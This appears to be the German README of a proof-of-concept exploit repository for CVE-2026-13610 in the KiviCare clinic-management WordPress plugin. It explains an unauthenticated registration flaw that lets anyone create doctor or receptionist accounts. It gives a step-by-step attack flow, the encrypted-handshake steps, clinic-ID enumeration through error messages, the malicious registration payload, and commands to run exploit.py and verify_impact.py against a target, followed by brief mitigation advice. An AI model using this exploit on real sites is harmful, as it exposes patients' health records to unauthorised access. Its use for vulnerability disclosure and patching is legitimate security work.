
Exploit-PoC für die unauthentifizierte Erstellung von Arzt-/Rezeptionisten-Konten im WordPress-Plugin KiviCare durch unsachgemäßes Privilegienmanagement, das PHI-Zugriff auf Mitarbeiterebene gewährt.
CWE-269 (Unsachgemäße Privilegienverwaltung) | Nicht authentifizierte Registrierung mit einer vom Angreifer gewählten Mitarbeiterrolle → Offenlegung von Patientendaten (PHI)
Kritische Schwachstelle im WordPress-Plugin KiviCare – Clinic & Patient Management System (Versionen bis einschließlich 4.5.1), die es nicht authentifizierten Angreifern ermöglicht, ein Arzt-Konto (kiviCare_doctor) oder Rezeptionisten-Konto (kiviCare_receptionist) mit einem selbst gewählten Passwort zu registrieren, das einer Klinik der Wahl des Angreifers zugeordnet wird.
Die Schwachstelle besteht, weil der öffentliche Registrierungs-Endpunkt den Parameter user_role direkt aus dem Anforderungstext übernimmt und seine Validierungs-Whitelist Klinik-Mitarbeiterrollen enthält:
| Prüfpunkt | Funktion | Ergebnis |
|---|---|---|
permission_callback | Kein is_user_logged_in(), keine Nonce, keine Berechtigungsprüfung | Wird bestanden; endet mit return true |
user_role-Whitelist | Akzeptiert kiviCare_doctor, kiviCare_receptionist, kiviCare_patient | Angreifer wählt Mitarbeiterrolle |
patient_role_only-Parameter | Mit Standardwert yes deklariert | Wird nie gelesen — toter Parameter |
| reCAPTCHA | Nur validiert if (isset($params['recaptchaToken'])) | Wird durch Weglassen des Parameters umgangen |
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-13610 |
| CWE | CWE-269 (Unsachgemäße Privilegienverwaltung) |
| Plugin | KiviCare – Clinic & Patient Management System |
| Betroffen | Versionen bis einschließlich 4.5.1 |
| Gepatcht | Zum Zeitpunkt dieser Analyse nicht bestätigt |
| Typ | Nicht authentifizierte Kontenerstellung mit Mitarbeiterrolle (Privilegieneskalation) |
| Forscher | Sai Praneeth Koti |
| Veröffentlicht | 2026 |
Der Registrierungs-Endpunkt POST /wp-json/kivicare/v1/auth/register
(app/controllers/api/AuthController.php:237–242) wird nur durch
checkRegistrationPermission() (:602–650) geschützt, das Folgendes tut:
true zurück, wenn users_can_register aktiviert ist (keine Authentifizierungsprüfung).KCOption::get() bei Standardinstallationen null zurückgibt.return true zurück.Der register()-Handler (:1277–1387) liest dann user_role aus dem Anforderungstext, bildet es auf die Modelle KCDoctor / KCReceptionist ab und ruft $model->save() auf — das wp_insert_user() und setRole('kiviCare_doctor') (app/models/KCDoctor.php:136) ohne jegliche Autorisierungsprüfung ausführt. Das resultierende Konto ist aktiv und der vom Angreifer gewählten Klinik zugeordnet.
Die E2EE-Verschlüsselung des Anforderungstexts des Plugins ist keine Hürde: Die Handshake-Endpunkte (server-key, config/register-key) sind nicht authentifiziert (app/controllers/api/ConfigController.php:190–205), sodass jeder Client einen Gastschlüssel aushandeln und eine verschlüsselte Nutzlast senden kann.
Vollständiger Ablauf: analysis/TECHNICAL_ANALYSIS.md
1. Handshake (encrypted targets):
POST /wp-json/kivicare/v1/server-key -> server X25519 public key
POST /wp-json/kivicare/v1/config/register-key -> register own public key
(header x_kc_client_id: <anything>, body {"public_key": "<base64>"})
2. Enumerate a valid clinic ID via the validation oracle:
"Invalid clinic selected" -> clinic does not exist
"Username already exists" -> clinic exists
3. Encrypt the payload and send:
POST /wp-json/kivicare/v1/auth/register
body = base64( nonce(24B) || crypto_box(json) )
{
"username": "attacker",
"email": "[email protected]",
"password": "P@ssw0rd-123!",
"first_name": "Att", "last_name": "Acker",
"mobile_number": "+15550133777",
"gender": "male",
"user_role": "kiviCare_doctor", <-- vulnerable parameter
"user_clinic": 1
}
4. HTTP 201 "Registration successful." -> active doctor account created
5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt
python preflight.py http://target.com
python exploit.py --url http://target.com \
--username attacker --email [email protected] --password 'P@ssw0rd-123!'
Das Skript erkennt den Transportmodus automatisch (einfaches JSON vs. E2EE-verschlüsselt) und ermittelt Klinik-IDs, wenn --clinic nicht angegeben wird.
python verify_impact.py --url http://target.com \
--username attacker --password 'P@ssw0rd-123!'
Meldet sich über REST an, bindet den E2EE-Antwortschlüssel des Kontos neu und ruft dann Nur-Mitarbeiter-Endpunkte (/patients, /appointments) auf.
--url Target base URL (required)
--username Username to create (default: attacker<random>)
--email Email (default: <username>@evil.example)
--password Password (default: Poc!Passw0rd-2026)
--role kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic Clinic ID (auto-enumerated when omitted)
--mobile Mobile number (default: random +1555...)
--first-name First name (default: Dr)
--last-name Last name (default: Poc)
--gender Gender (default: male)
--no-verify Skip post-creation login verification
Eine erfolgreiche Ausnutzung führt zu einem aktiven Mitarbeiterkonto, das einer echten Klinik zugeordnet ist, ohne dass eine Authentifizierung erforderlich ist:
wp-admin-Dashboard-Zugriff (read + upload_files) — ein Ausgangspunkt für weitere AngriffeDer Endpunkt erlaubt keine Erstellung eines WordPress-administrator-Kontos (die user_role-Whitelist lehnt es ab), aber die Arztrolle reicht für den vollständigen Zugriff auf klinische Daten aus.
patient_role_only durchcurrent_user_can('create_users') + Nonce-PrüfungcheckRegistrationPermission — entfernen Sie das durchgereichte return truerecaptchaToken, wenn reCAPTCHA aktiviert ist (derzeit optional)